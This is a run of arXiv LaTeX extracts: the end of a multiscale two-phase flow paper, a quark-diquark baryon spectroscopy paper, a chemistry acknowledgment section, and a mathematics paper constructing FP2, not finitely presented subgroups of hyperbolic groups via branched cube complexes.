\begin{figure}[!htbp]
\includegraphics[width=5in]{graphs/s/s_k4.png}\caption{$\kappa_4$. The reference saturation is shown on the top row at three different time levels. The second through fourth rows are $L_z=3$, $L_z=8$ and $L_z=2+1$ respectively.}
\label{k4}
\end{figure}
\begin{figure}[!htbp]
\subfigure[$\kappa_1$]
{\includegraphics[width=0.48\textwidth]{graphs/error/error_k1.png}}
\subfigure[$\kappa_2$]
{\includegraphics[width=0.48\textwidth]{graphs/error/error_k2.png}}
\subfigure[$\kappa_3$]
{\includegraphics[width=0.48\textwidth]{graphs/error/error_k3.png}}
\subfigure[$\kappa_4$]
{\includegraphics[width=0.48\textwidth]{graphs/error/error_k4.png}}
\caption{Comparison of the $L^2$ error of the saturation for $\kappa_1$ (upleft) ,$\kappa_2$ (upright) ,$\kappa_3$ (downleft) ,$\kappa_4$ (downright)as a function of time .}\label{error}
\end{figure}
\section{Conclusion}
In this paper, we consider a conservation GMsFEM for treating the coupled pressure-convection-diffusion system in the context of the two-phase flow model. An advantage of the proposed method is that local conservative and accurate velocity field can be obtained, which means we combined two main procedures, postprocessing and online enrichment. The effect can be verified in the numerical results. In the future, we can work on more computational-efficient ways to achieve the goal.
\bibliographystyle{IEEEtran}
|
1,477,468,750,010 | arxiv | \section{Introduction}
In quark-diquark models, baryons are assumed to be composed of a constituent quark, $q$, and a constituent diquark, $Q^2$ \cite{Ida:1966ev,lich}.
The effective degree of freedom of diquark, introduced by Gell-Mann in his original paper on quarks \cite{GellMann:1964nj}, has been used in a large number of studies, from one-gluon exchange to lattice QCD calculations \cite{Jakob:1997,Brodsky:2002,Gamberg:2003,Jaffe:2003,Wilczek:2004im,Jaffe:2004ph,Selem:2006nd,DeGrand:2007vu,BacchettaRadici,Forkel:2008un,Anisovich:2010wx} and, more recently, also in tetraquark spectroscopy \cite{Maiani:2004vq,Santopinto:2006my}.
Up to an energy of 2 GeV, the diquark can be described as two correlated quarks with no internal spatial excitations \cite{Santopinto:2004hw,Ferretti:2011zz}.
Then, its color-spin-flavor wave function must be antisymmetric.
Moreover, as we consider here only light baryons, made up of $u$, $d$, $s$ quarks, the internal group is restricted to SU$_{\mbox{sf}}$(6).
If we denote spin by its value, flavor and color by the dimension of the representation, the quark has spin $s_2 = \frac{1}{2}$, flavor $F_2={\bf {3}}$, and color $C_2 = {\bf {3}}$.
The diquark must transform as ${\bf {\overline{3}}}$ under SU$_{\mbox{c}}$(3), hadrons being color singlets. Then, one only has the symmetric SU$_{\mbox{sf}}$(6) representation $\mbox{{\boldmath{$21$}}}_{\mbox{sf}}$(S), containing $s_1=0$, $F_1={\bf {\overline{3}}}$, and $s_1=1$, $F_1={\bf {6}}$, i.e., the scalar and axial-vector diquarks, respectively \cite{Wilczek:2004im,Jaffe:2004ph}. If we indicate the possible diquark states by their constituent quark content in square (scalar diquarks) or brace brackets (axial-vector diquarks), then the possible scalar diquark configurations are $[n,n]$ and $[n,s]$ (where $s$ is a strange quark, while $n = u,d$) , while the possible axial-vector diquark configurations are $\{n,n\}$, $\{n,s\}$ and $\{s,s\}$ \cite{Jaffe:2004ph}.
In this contribution, we discuss the relativistic interacting quark-diquark model of Refs. \cite{Santopinto:2004hw,Ferretti:2011zz,DeSanctis:2011zz,qD2014a,qD2014b}, which is a potential model for strange and nonstrange baryon spectroscopy constructed within the point form formalism \cite{Klink:1998zz,Pavia-Graz,Sanctis:2007zz}.
In our model, baryon resonances are described as two-body quark-diquark bound states, thus the relative motion between the two constituents and the Hamiltonian of the model are functions of the relative coordinate $\vec r$ and its conjugate momentum $\vec q$.
The Hamiltonian contains a Coulomb plus linear confining interaction and an exchange one, depending on the spins and isospins of the quark and the diquark.
The strange and nonstrange spectra are computed and the results compared to the existing experimental data \cite{Nakamura:2010zzi}.
\section{The Mass operator}
\label{The Model}
We consider a quark-diquark system, where $\vec{r}$ and $\vec{q}$ are the relative coordinate between the two constituents and its conjugate momentum, respectively.
The baryon rest frame mass operator we consider is
\begin{equation}
\begin{array}{rcl}
M & = & E_0 + \sqrt{\vec q\hspace{0.08cm}^2 + m_1^2} + \sqrt{\vec q\hspace{0.08cm}^2 + m_2^2}
+ M_{\mbox{dir}}(r) \\
& + & M_{\mbox{ex}}(r)
\end{array} \mbox{ },
\label{eqn:H0}
\end{equation}
where $E_0$ is a constant, $M_{\mbox{dir}}(r)$ and $M_{\mbox{ex}}(r)$ respectively the direct and the exchange diquark-quark interaction, $m_1$ and $m_2$ stand for diquark and quark masses, where $m_1$ is either $m_{[q,q]}$ or $m_{\{q,q\}}$ according if the mass operator acts on a scalar or axial-vector diquark.
The direct term we consider,
\begin{equation}
\label{eq:Vdir}
M_{\mbox{dir}}(r)=-\frac{\tau}{r} \left(1 - e^{-\mu r}\right)+ \beta r ~~,
\end{equation}
is the sum of a Coulomb-like interaction with a cut off plus a linear confinement term.
We also have an exchange interaction, since this is the crucial ingredient of a quark-diquark description of baryons \cite{Santopinto:2004hw,Lichtenberg:1981pp}.
In the nonstrange sector we have \cite{Santopinto:2004hw,Ferretti:2011zz}
\begin{equation}
\begin{array}{rcl}
M_{\mbox{ex}}(r) & = & \left(-1 \right)^{L + 1} \mbox{ } e^{-\sigma r} \left[ A_S \mbox{ } \vec{s}_1
\cdot \vec{s}_2 \right. \\
& + & \left. A_I \mbox{ } \vec{t}_1 \cdot \vec{t}_2
+ A_{SI} \mbox{ } \vec{s}_1 \cdot \vec{s}_2 \mbox{ } \vec{t}_1 \cdot \vec{t}_2 \right]
\end{array} \mbox{ },
\label{eqn:Vexch-nonstrange}
\end{equation}
where $\vec{s}$ and $\vec{t}$ are the spin and the isospin operators, while for strange baryons we consider a G\"ursey-Radicati inspired interaction \cite{Gursey:1992dc,qD2014b}.
In the nonstrange sector, we also have a contact interaction
\begin{equation}
\begin{array}{rcl}
\label{eqn:Vcont}
M_{\mbox{cont}} & = & \left(\frac{m_1 m_2}{E_1 E_2}\right)^{1/2+\epsilon} \frac{\eta^3 D}{\pi^{3/2}}
e^{-\eta^2 r^2} \mbox{ } \delta_{L,0} \delta_{s_1,1} \\
& \times & \left(\frac{m_1 m_2}{E_1 E_2}\right)^{1/2+\epsilon}
\end{array} \mbox{ },
\end{equation}
introduced in the mass operator of Ref. \cite{Ferretti:2011zz} to reproduce the $\Delta-N$ mass splitting.
\section{Results and discussion}
In this section, we show our results for the non-strange baryon spectrum from Ref. \cite{Ferretti:2011zz}. See Fig. \ref{fig:Spectrum-ND}.
While the values of the diquarks masses $m_n$, $m_{[n,n]}$ and $m_{\{n,n\}}$ almost coincide in the "strange" and "nonstrange" fits \cite{Ferretti:2011zz,qD2014b}, there is a certain difference between the values of a few model parameters used in the two fits. This is especially evident in the case of the exchange potential parameters, $A_S$ and $A_I$. This difference is due to the substitution of the spin-isospin term in the exchange potential with the $SU(3)$ flavor-dependent, which also determines a change in the values of the spin and isospin, $A_S$ and $A_I$, parameters.
Moreover, and most important, some parameters are present in one fit and not in the other, such as the contact interaction ones, because the potential of Eq. (\ref{eqn:Vcont}) was introduced to reproduce the $\Delta-N$ mass splitting, and thus it is inessential in the strange sector.
It is also interesting to note that in our model $\Lambda(1116)$ and $\Lambda^*(1520)$ are described as bound states of a scalar diquark $[n,n]$ and a quark $s$, where the quark-diquark system is in $S$ or $P$-wave, respectively \cite{qD2014b}. This is in accordance with the observations of Refs. \cite{Jaffe:2004ph,Selem:2006nd} on $\Lambda$'s fragmentation functions, that the two resonances can be described as $[n,n]-s$ systems.
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=7cm]{fig4.eps}
\end{center}
\caption{Comparison between the calculated masses (black lines) of the $3^*$ and $4^*$ $N$ and $\Delta$ resonances (up to 2 GeV) and the experimental masses from PDG \cite{Nakamura:2010zzi} (blue boxes).}
\label{fig:Spectrum-ND}
\end{figure}
It is interesting to compare the present results to those of the main three-quark quark models \cite{IK,CI,HC,GR,LMP}. It is clear that a larger number of experiments and analyses, looking for missing resonances, are necessary because many aspects of hadron spectroscopy are still unclear \cite{Hugo}.
The present work can be expanded to include charmed and/or bottomed baryons \cite{FS-inprep}, which can be quite interesting in light of the recent experimental effort to study the properties of heavy hadrons.
|
1,477,468,750,011 | arxiv | \section*{Acknowledgment}
This work was supported by the Director, Office of Science, Office of Basic Energy Sciences, of the U.S. Department of Energy through the Gas Phase Chemical Physics Program, under Contract No. DE-AC02-05CH11231. Additional support for D.H. during the preparation of this article came from the Liquid Sunlight Alliance, which is funded by the U.S. Department of Energy, Office of Science, Office of Basic Energy Sciences, Fuels from Sunlight Hub under Award Number DE-SC0021266. The authors would like to thank Hong-Zhou Ye for access to the raw data of Ref \citenum{ye2020self} and helpful discussions.
\section*{Conflicts of Interest}
M.H.-G. is a part-owner of Q-Chem, which is the software platform in which the developments described here were implemented.
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1,477,468,750,012 | arxiv | \section{Introduction}
Given a class of groups $\mathcal{C}$ it is natural to ask what finitely generated subgroups of $\mathcal{C}$-groups are like. One may hope that these are already $\mathcal{C}$-groups as is the case for the classes of free groups, surface groups and 3-manifold groups. One can also ask if groups in the class are coherent, i.e. every finitely generated subgroup is finitely presented. For the class of Artin groups, coherency fails \cite{bestvina_morse_1997} and the subgroups form an interesting class \cite{wise_structure_2011}.
A very well studied class of interest in geometric group theory is the class of hyperbolic groups. For special subclasses of hyperbolic groups we obtain no new information. However, in \cite{rips_subgroups_1982} it is shown that there are finitely generated subgroups of hyperbolic groups which are not finitely presented and therefore not hyperbolic. One could then ask if finitely presented subgroups behave in a nicer way although this is shown to not be the case \cite{brady_branched_1999,kropholler_finitelypresented_2018,lodha_hyperbolic_2017other}.
Finite generation was not enough to guarantee that subgroups were finitely presented. One could look for a stronger property between finite generation and finite presentability. One such property is being of type $FP_2$. For simplicity, in this paper we shall only consider type $FP_2$ over $\ZZ$.
\begin{definition}
A group $G$ is of {\em type $FP_2$} if there is a partial resolution $$P_2\to P_1\to P_0\to \ZZ,$$ where each $P_i$ is a finitely generated projective $\ZZ G$ module.
\end{definition}
One can think of this as a homological version of finite presentability. Indeed, it is equivalent to finite generation of the relation module. Until \cite{bestvina_morse_1997} it was unknown whether being of type $FP_2$ was equivalent to finite presentation. It was shown that in subgroups of RAAGs one could obtain groups which were of type $FP_2$ but not finitely presented.
One can attempt to find such groups inside hyperbolic groups. A result showing this may not be possible is the following
\begin{thm}\cite{gersten_subgroups_1996}
Let $G$ be a hyperbolic group of cohomological dimension 2. If $H<G$ is of type $FP_2$, then $H$ is hyperbolic. In particular, $H$ is finitely presented.
\end{thm}
In this paper we show that this phenomenon is special to cohomological dimension 2. We find hyperbolic groups of cohomological dimension 3 containing subgroups which are of type $FP_2$ but not finitely presented. Namely, we prove the following.
\begin{thmk}\label{thm:subhypfp2}
There exists a hyperbolic group $G$ and a homomorphism $\phi\colon G\to \ZZ$ such that $\ker(\phi)$ is of type $FP_2$ but not finitely presented.
\end{thmk}
It should be noted that the subgroups constructed here are not of type $FP_3$. We leave the following as an open question.
\begin{question}
Let $n>2$ be an integer or $\infty$. Is there a subgroup of a hyperbolic group which is of type $FP_{n}$ but is not finitely presented?
\end{question}
One could attempt this problem in reverse, i.e. one could look for groups which have interesting properties and attempt to embed them in hyperbolic groups. To do this one would need to start with a full list of obstructions to embedding in a hyperbolic group. For instance, subgroups of hyperbolic groups cannot contain Baumslag-Solitar groups or infinite torsion groups.
\begin{definition}
Let $m, n$ be non-zero integers. The {\em Baumslag-Solitar group} is defined by the presentation $BS(m, n) = \langle x, y\mid y^{-1}x^my = x^n\rangle.$
\end{definition}
We see that $BS(1, 1)$ is isomorphic to $\ZZ^2$.
Using techniques from \cite{leary_uncountably_2015other} we construct uncountably many groups which do not contain $BS(m, n)$ for any $m, n$.
\begin{thmk}
There are uncountably many groups which are of type $FP_2$ which do not contain any subgroups isomorphic to $BS(m, n)$.
\end{thmk}
These groups are created by using a specific group $H$ constructed for the proof of Theorem \ref{thm:subhypfp2}. This group is finitely generated but infinitely presented and has a presentation of the form $\langle S\mid U\rangle$, where $S$ is finite and $U$ is infinite. To each $Z\subset U$ we associate the group $H(Z) = \langle S\mid Z\rangle$. We show that for each $Z'\subset U$ there are only countably many groups $H(Z)$ which are isomorphic to $H(Z')$. We show that among these isomorphism classes uncountably many are of type $FP_2$.
Only countably many of the above groups can be embedded into finitely presented groups, hence only countably many can be embedded into hyperbolic groups. However, these groups contain none of the above mentioned obstructions.
\begin{question}
Which of the groups $H(Z)$ embed into hyperbolic groups?
\end{question}
Acknowledgements: I thank Noel Brady, Max Forester and Ignat Soroko for helpful comments.
\section{Preliminaries}
\subsection{CAT(0) Cube Complexes}
Here we discuss the cube complexes we are interested in. For full details on cube complexes see \cite{sageev_cat0_2014}.
We use the construction from \cite{kropholler_new_2018}. In \cite{kropholler_new_2018}, cube complexes are constructed using two flag complexes $\Gamma_A$ and $\Gamma_B$ with $n$-partite structures.
\begin{definition}
An {\em $n$-partite struture} on a flag complex $L$ is a partition of the vertices of $L$ into sets $V_1, \dots, V_n$ such that the natural map $V(L)\to V_1\ast \dots\ast V_n$ extends to an embedding of $L\to V_1\ast \dots\ast V_n$.
\end{definition}
A flag complex with a $n$-partite structure has dimension at most $n-1$.
For $n=2$ we recover the definition of a bipartite graph. In this paper, we will focus on the case $n=3$ when the structure is {\em tripartite.} In this case, we give an account of the required material from \cite{kropholler_new_2018}.
Let $\Gamma_A\subset A_1\ast A_2\ast A_3$ and $\Gamma_B\subset B_1\ast B_2\ast B_3$ be flag complexes with tripartite structures. Set $K$ equal to the CAT(0) cube complex $\prod_{i=1}^3 A_i*B_i$. Given a vertex $v = (v_1, v_2, v_3)\in K$ we can assign two sets, $\Delta_A = \{v_i\in A_i\}$ and $\Delta_B = \{v_i\in B_i\}$. Let $$V = \{v\in K \mid \Delta_A \mbox{ is a simplex of }\Gamma_A, \Delta_B \mbox{ is a simplex of }\Gamma_B\}.$$
We define $\xcplx$ to be the maximal subcomplex of $K$ with vertex set $V$.
The following can be found in \cite{kropholler_new_2018}.
\begin{lem}\label{lem:links.in.xcplx}
The link of the vertex $(v_1, v_2, v_3)$ in $\xcplx$ is the join of the links of $\Delta_A$ and $\Delta_B$ i.e.
\[
{\rm{Lk}}\bigg((v_1, v_2, v_3),\xcplx\bigg)={\rm{Lk}}(\Delta_A,\Gamma_A)*{\rm{Lk}}(\Delta_B,\Gamma_B).
\]
\end{lem}
Since links of simplices in a flag complex are flag complexes and the join of two flag complexes is a flag complex. Lemma \ref{lem:links.in.xcplx} shows that the link of a vertex in $\xcplx$ is a flag complex and we obtain the following.
\begin{cor}\label{cor:flag.implies.cat0.CLCC}
$\xcplx$ is a non-positively curved cube complex.
\end{cor}
These complexes form the base of our construction. We take branched covers to eliminate any isometrically embedded flat planes. To show that there are no flat planes in the universal cover, another idea from \cite{kropholler_new_2018} is used, namely the fly map.
A choice of {\em $n$ directions} on a CAT(0) cube complex $X$ is a partition of the hyperplanes into sets $H_1\sqcup\dots\sqcup H_n$ such that no two hyperplanes in $H_i$ cross.
Given a CAT(0) cube complex $X$ with $n$-directions there is an $\ell^1$-embedding $\iota\colon X\to \prod_{i=1}^{n}T_j$ where $T_j$ is a tree (cf. Proposition 5.5 in \cite{kropholler_new_2018}).
In the case that $X = \xcplx$ as above we can take $n=3$. Using this embedding we can get the fly map defined in \cite{kropholler_new_2018} as follows.
\begin{definition}[Definition 5.10 \cite{kropholler_new_2018}]\label{def:fly.map}
Let $i\colon\mathbb{E}^2\hookrightarrow X$ be an isometrically embedded flat and for every $j=1,\ldots, 3$ let $L_j\subseteq T_j$ be a geodesic containing $p_j\circ\iota\circ i(\mathbb{E}^k)$. Given any point $x\in i(\mathbb{E}^k)$, a {\em fly map} $f^x\colon X\to \RR^n$ is a map of the form $f^x(y) = \big(f^x_1\circ p_1\circ\iota(y), \dots, f^x_3\circ p_3\circ\iota(y)\big)$ where the maps $f^x_j\colon T_j\to \RR$ are cubical maps that restrict to isometries on $L_j$ and on every ray emanating from $p_j(x)\in T_j$.
\end{definition}
The key uses of this definition are the following propositions.
\begin{prop}[Proposition 5.11\cite{kropholler_new_2018}]
Let $\mathcal{N}\big(i(\mathbb{E}^k)\big)\subseteq X$ be the smallest subcomplex of $X$ containing $i(\mathbb{E}^k)$, then any fly map $f^x$ restricts to a cubical $\ell^1$-embedding $\mathcal{N}\big(i(\mathbb{E}^k)\big)\hookrightarrow \RR^n$.
\end{prop}
\begin{cor}[Corollary 5.12 \cite{kropholler_new_2018}]\label{cor:flylinks}
A fly map $f^x$ induces for every cube $c\in \mathcal{N}\big(i(\mathbb{E}^k)\big)$ an embedding ${\rm{Lk}}\big(c, \mathcal{N}\big(i(\mathbb{E}^k)\big)\big)\to \SS^0\ast\dots\ast \SS^0$.
\end{cor}
Fly maps allow us to better understand flat planes in CAT(0) cube complexes. Bridson's flat plane theorem shows that these flat planes are the only obstruction to hyperbolicity:
\begin{thm}\cite{bridson_existence_1995}\label{thm:flatplane}
A compact CAT(0) space $X$ has hyperbolic fundamental group if and only if there are no isometric embeddings of $\mathbb{E}^2$ to $\tilde{X}$.
\end{thm}
\subsection{Branched Covers}
To obtain hyperbolic cube complexes, we begin with a cube complex containing flat planes and take branched covers. In the setting of CAT(0) cube complexes this was achieved by Brady \cite{brady_branched_1999} and used to create subgroups of hyperbolic groups with interesting finiteness properties. It has also been used in \cite{kropholler_finitelypresented_2018,kropholler_almost_2017} to create other groups with interesting finiteness properties.
\begin{definition}
A {\em branching locus} $L$ in a non-positively curved cube complex $K$ is a subcomplex satisfying the following two conditions.
\begin{itemize}
\item $L$ is a locally isometrically embedded subcomplex of $K$.
\item ${\rm{Lk}}(c, K)\smallsetminus{\rm{Lk}}(c, L)$ is non-empty and connected for all cubes $c\in L$.
\end{itemize}
\end{definition}
The first condition is required to prove that non-positive curvature is preserved when taking branched covers. The second is a reformulation of the classical requirement that the branching locus has codimension 2 in the theory of branched covers of manifolds; it ensures that the trivial branched covering of $K$ is $K$.
\begin{definition}
A {\em branched cover} $\widehat{K}$ of a non-positively curved cube complex $K$ over the branching locus $L$ is the result of the following process.
\begin{enumerate}
\item Take a finite covering $\overline{K\smallsetminus L}$ of $K\smallsetminus L$.
\item Lift the piecewise Euclidean metric locally and consider the induced path metric on $\overline{K\smallsetminus L}$.
\item Take the metric completion $\widehat{K}$ of $\overline{K\smallsetminus L}$.
\end{enumerate}
\end{definition}
We require two key results from \cite{brady_branched_1999}.
\begin{lem}[Brady \cite{brady_branched_1999}, Lemma 5.3]
There is a natural surjection $\widehat{K}\to K$ and $\widehat{K}$ is a piecewise Euclidean cube complex.
\end{lem}
\begin{lem}[Brady \cite{brady_branched_1999}, Lemma 5.5]\label{npcbranch}
If $L$ is a finite graph, then $\widehat{K}$ is non-positively curved.
\end{lem}
\subsection{Bestvina--Brady Morse theory}
While Bestvina--Brady Morse theory is defined in the more general setting of affine cell complexes, we shall restrict to the case of CAT(0) cube complexes.
For the remainder of this section, let $X$ be a CAT(0) cube complex and let $G$ be a group which acts freely, cellularly, properly and cocompactly on $X$. Let $\phi\colon G\to\ZZ$ be a homomorphism and let $\ZZ$ act on $\RR$ by translations.
Let $\chi_c$ be the characteristic map of the cube $c$.
\begin{definition}
We say that a function $f\colon X\to \RR$ is a {\em $\phi$-equivariant Morse function} if it satisfies the following 3 conditions.
\begin{itemize}
\item For every cube $c\subset X$ of dimension $n$, the map $f\chi_c\colon [0,1]^n\to\RR$ extends to an affine map $\RR^n\to\RR$ and $f\chi_c\colon [0,1]^n\to\RR$ is constant if and only if $n=0$.
\item The image of the $0$-skeleton of $X$ is discrete in $\RR$.
\item $f$ is $\phi$-equivariant, i.e. $f(g\cdot x) = \phi(g)\cdot f(x)$.
\end{itemize}
\end{definition}
\begin{definition}
For a non-empty closed subset $I\subset\RR$ we denote by $X_I$ the preimage of $I$. The sets $X_I$ are known as {\em level sets}. Also for any real number $t$ we simply write $X_t$ for $X_{\{t\}}$.
\end{definition}
The kernel $H$ of $\phi$ acts on the cube complex $X$ preserving each level set $X_{I}$. The topological properties of the level sets allow us to gain information about the finiteness properties of the kernel. We need to examine the topology of the level sets and how they vary as we pass to larger level sets.
\begin{thm} [Bestvina--Brady, \cite{bestvina_morse_1997}, Lemma 2.3]
If $I\subset I'\subset\RR$ are connected and $X_{I'}\smallsetminus X_{I}$ contains no vertices of $X$, then the inclusion $X_I\hookrightarrow X_{I'}$ is a homotopy equivalence.
\end{thm}
If $X_{I'}\smallsetminus X_{I}$ contains vertices of $X$, then the topological properties of $X_{I'}$ can be very different from those of $X_I$. This difference is encoded in the ascending and descending links.
\begin{definition}
The {\em ascending link} of a vertex is
${\rm{Lk}}_{\uparrow}(v,X) = \bigcup \{{\rm Lk}(w,c)\mid\chi_c(w) = v$ and $w$ is a minimum of $f\chi_c\}\subset {\rm Lk}(v, X).$
The {\em descending link} of a vertex is
${\rm Lk}_{\downarrow}(v,X) = \bigcup \{{\rm Lk}(w,c)\mid\chi_c(w) = v$ and $w$ is a maximum of $f\chi_c\}\subset {\rm Lk}(v, X).$
\end{definition}
\begin{thm} [Bestvina--Brady, \cite{bestvina_morse_1997}, Lemma 2.5]\label{homoeq}
Let $f$ be a Morse function. Suppose that $I\subset I'\subset\RR$ are connected and closed with $\min I = \min I'$ (resp. $\max I = \max I')$, and assume $I'\smallsetminus I$ contains only one point $r$ of $f\big(X^{(0)}\big)$. Then $X_{I'}$ is homotopy equivalent to the space obtained from $X_I$ by coning off the descending (resp. ascending) links of $v$ for each $v\in f^{-1}(r)$.
\end{thm}
We can now deduce a lot about the topology of the level sets. We know how they change as we pass to larger intervals and so we have the following.
\begin{cor}[Bestvina--Brady, \cite{bestvina_morse_1997}, Corollary 2.6]\label{cor1} Let $I,I'$ be as above.
\begin{enumerate}
\item If each ascending and descending link is homologically $(n-1)$-connected, then the inclusion $X_I\hookrightarrow X_{I'}$ induces an isomorphism on $H_i$ for $i\leq n-1$ and is surjective for $i=n$.
\item If the ascending and descending links are connected, then the inclusion $X_I\hookrightarrow X_{I'}$ induces a surjection on $\pi_1$.
\item If the ascending and descending links are simply connected, then the inclusion $X_I\hookrightarrow X_{I'}$ induces an isomorphism on $\pi_1$.
\end{enumerate}
\end{cor}
Knowing that the direct limit of this system is a contractible space allows us to compute the finiteness properties of the kernel of $\phi$.
\begin{theorem}[Bestvina--Brady, \cite{bestvina_morse_1997}, Theorem 4.1]\label{bbmorse}
Let $f\colon X\to \RR$ be a $\phi$-equivariant Morse function and let $H=\ker(\phi)$. If all ascending and descending links are simply connected, then $H$ is finitely presented (i.e. is of type $F_2$).
\end{theorem}
We would also like to have conditions which allow us to deduce that $H$ does not satisfy certain other finiteness properties. A well known result in this direction is:
\begin{prop}[Brown, \cite{brown_cohomology_1982}, p. 193]\label{propb}
Let $H$ be a group acting freely, properly, cellularly and cocompactly on a cell complex $X$. Assume further that $\widetilde{H}_i(X,\ZZ)=0$ for $0\leq i\leq n-1$ and that $\widetilde{H}_n(X,\ZZ)$ is not finitely generated as a $\ZZ H$-module. Then $H$ is of type $FP_n$ but not $FP_{n+1}$.
\end{prop}
In \cite{brady_branched_1999}, the above result was used to prove that a certain group is not of type $FP_3$. The following is a rephrasing of the argument in \cite{bux_bestvina-brady_1999other}.
\begin{lem}\label{lem:retractlinks}
Let $f$ be a Morse function. Assume all ascending and descending links are connected. Assume further that there is a vertex $v$ such that the ${\rm{Lk}}(v, X)$ retracts onto ${\rm{Lk}}_{\uparrow}(v, X)$ and $\pi_1({\rm{Lk}}_{\uparrow}(v, X))\neq 0$. Then $H = \ker(\phi)$ is not finitely presented.
\end{lem}
\begin{proof}
Assume that $H$ is finitely presented. By Corollary \ref{cor1}, the level set $X_0$ is connected, so there are finitely many $H$ orbits of loops which generate $\pi_1(X_0)$. We can find an interval $I$ such that each of these loops is trivial in $X_I$. Once again by Corollary \ref{cor1} we see that that the inclusion $X_0\to X_I$ induces a surjection on fundamental groups. However, this map is also trivial. Thus $X_I$ is simply connected.
Let $l$ be such that $I\subset [-l, l]$. Let $k<-l$ be such that there is a vertex $v$ with $f(v) = k$ and $\pi_1({\rm{Lk}}_{\uparrow}(v, X))\neq 0$. Let $L = [-k+\epsilon, l]$, since this contains $J$ and the maps on fundamental groups are surjective we see that $\pi_1(X_L) = 0$. There is a retraction of $X\smallsetminus\{v\}$ onto ${\rm{Lk}}(v, X)$ which further retracts onto the space ${\rm{Lk}}_{\uparrow}(v, X)$. Restricting this retraction to $X_L\subset X\smallsetminus\{v\}$ we get a retraction from $X_L\to {\rm{Lk}}_{\uparrow}(v, X)$. This gives a surjection $\pi_1(X_L)\to \pi_1({\rm{Lk}}_{\uparrow}(v, X))$. However $\pi_1({\rm{Lk}}_{\uparrow}(v, X))$ is non trivial by assumption giving the required contradiction.
\end{proof}
\section{Main Construction}
We detail a construction of several new hyperbolic groups which have subgroups with interesting finiteness properties. These examples come in two flavours; we can construct groups of type $F_2$ not $F_3$ giving more examples similar to those in \cite{brady_branched_1999, lodha_hyperbolic_2017other,kropholler_finitelypresented_2018}. We also give the first construction of groups of type $FP_2$ which are not finitely presented that are contained in hyperbolic groups.
We only detail the construction of groups of type $FP_2$ not $F_2$. To create groups which are of type $F_2$ not $F_3$ one should construct $\Gamma_B$ by starting with a simply connected complex $L$ satisfying all other conditions. One also requires the stated strengthening of Lemma \ref{lem:homologyofdouble}. The proof then runs in exactly the same way however $S(L')$ will be simply connected throughout.
We build the hyperbolic groups by taking appropriate branched covers of $\xcplx$. As such we must begin by describing the flag complexes $\Gamma_A$ and $\Gamma_B$.
Let $V_n$ be a discrete set with $n$ points. Set $\Gamma_A = V_4\ast V_4\ast V_4$ which is a join of discrete sets.
\begin{rem}
We take $V_4$ for concreteness and this construction works for $V_n$ as long as $n\geq 4$. We shall not give the proof in this general case as it obfuscates some details.
\end{rem}
The complex $\Gamma_B$ is a little more delicate and the procedure for obtaining it is described below.
\begin{definition}
For a simplicial complex $L$ the {\em octahedralisation} $S(L)$ is defined as follows. For each vertex $v$ of $L$, let $S^0_v = \{v^+, v^-\}$ be a copy of $S^0$. For every simplex $\sigma$ of $L$ take $S_{\sigma} = \ast_{v\in \sigma}S^0_v$. If $\tau<\sigma$, then there is a natural map $S_{\tau}\to S_{\sigma}$. $S(L) = \bigcup_{\sigma< L} S_{\sigma}/\sim$, where the equivalence relations $\sim$ is generated by the inclusions $S_{\tau}\to S_{\sigma}.$
\end{definition}
\begin{rem}
The map defined by $S^0_v\to \{v\}$ extends to a retraction of $S(L)$ to $L$ (not a deformation retraction).
In particular, if $L$ is connected and $\pi_1(L)\neq 0$, then $\pi_1(S(L))\neq 0$.
\end{rem}
It is proved in \cite{bestvina_morse_1997} that if $L$ is a flag complex, then $S(L)$ is a flag complex.
\begin{definition}
A connected simplicial complex $L$ has {\em no local cut points}, abbreviated to nlcp, if ${\rm{Lk}}(v, L)$ is connected and not equal to a point for all vertices $v\in L$.
\end{definition}
The following lemma can be found in \cite{kropholler_almost_2018, leary_uncountably_2015other}.
\begin{lem}\label{lem:homologyofdouble}
Assume $L$ has nlcp. If $H_1(L) = 0$, then $H_1(S(L)) = 0$.
\end{lem}
\begin{rem}
For the $F_2$ not $F_3$ case of the main theorem a stronger version of this theorem is required. Namely, using the argument proving Lemma 6.2 of \cite{kropholler_almost_2018}, one can show that in the above case if $\pi_1(L) = 0$, then $\pi_1(S(L)) = 0$.
\end{rem}
Given a connected simplicial complex $L$, there is a homotopy equivalent complex $K$ such that the link of every vertex of $K$ is connected and not a point. One way of obtaining such a complex is to take the mapping cylinder of the inclusion of the 1-skeleton. For details see \cite{leary_uncountably_2015other}.
\begin{rem}
Given a tripartite complex $L$, there is a natural tripartite structure on $S(L)$.
\end{rem}
We are now ready to define the tripartite complex $\Gamma_B$. Given a simplicial complex $L$, let $L'$ denote the barycentric subdivision of $L$.
Let $L$ be a 2-dimensional simplicial complex such that the link of every vertex is connected and not a point. Let $\Gamma_B = S(S(L'))$. Note that $L'$ has a natural tripartite structure coming from the dimension of the cells in $L$ for which the vertex is a barycenter.
Before moving on it will be useful to understand the links of vertices in $\xcplx$.
The vertices in $\xcplx$ are of the form $(v_1, v_2, v_3)$ where $v_i\in A_i\cup B_i$. Let $a_i\in A_i$ and $b_i\in B_i$. We will use Lemma \ref{lem:links.in.xcplx} to compute ${\rm{Lk}}((v_1, v_2, v_3), \xcplx)$.
The first case is that of a vertex of the form $(a_1, a_2, a_3)$ we obtain the following,
$${\rm{Lk}}((a_1, a_2, a_3), \xcplx)={\rm{Lk}}(\emptyset, \Gamma_B)\ast {\rm{Lk}}([a_1, a_2, a_3], \Gamma_A) = \Gamma_B\ast \emptyset = \Gamma_B.$$
Similarly ${\rm{Lk}}((b_1, b_2, b_3), \xcplx) = \Gamma_A$.
We now examine the intermediate vertices. For vertex of the form $(a_1, b_2, b_3)$ we have the following $${\rm{Lk}}((a_1, b_2, b_3), \xcplx) = {\rm{Lk}}(a_1, \Gamma_A)\ast {\rm{Lk}}([b_2, b_3], \Gamma_B).$$ By retracting onto $L'$ we can see that ${\rm{Lk}}([b_2, b_3], \Gamma_B) = S(S({\rm{Lk}}([\overline{b_2}, \overline{b_3}], L')))$. Since $[b_2, b_3]$ is an edge joining the barycenter of a 1-cell to the barycenter of a 2-cell, we see that ${\rm{Lk}}([\overline{b_2}, \overline{b_3}], L') = S^0$. Also ${\rm{Lk}}(a_1, \Gamma_A) = V_4\ast V_4$. Thus, ${\rm{Lk}}((a_1, b_2, b_3), \xcplx) = V_4\ast V_4\ast S(S(S^0))$.
Making a similar analysis we obtain that $${\rm{Lk}}((b_1, a_2, b_3), \xcplx) = V_4\ast V_4\ast S(S(S^0)).$$
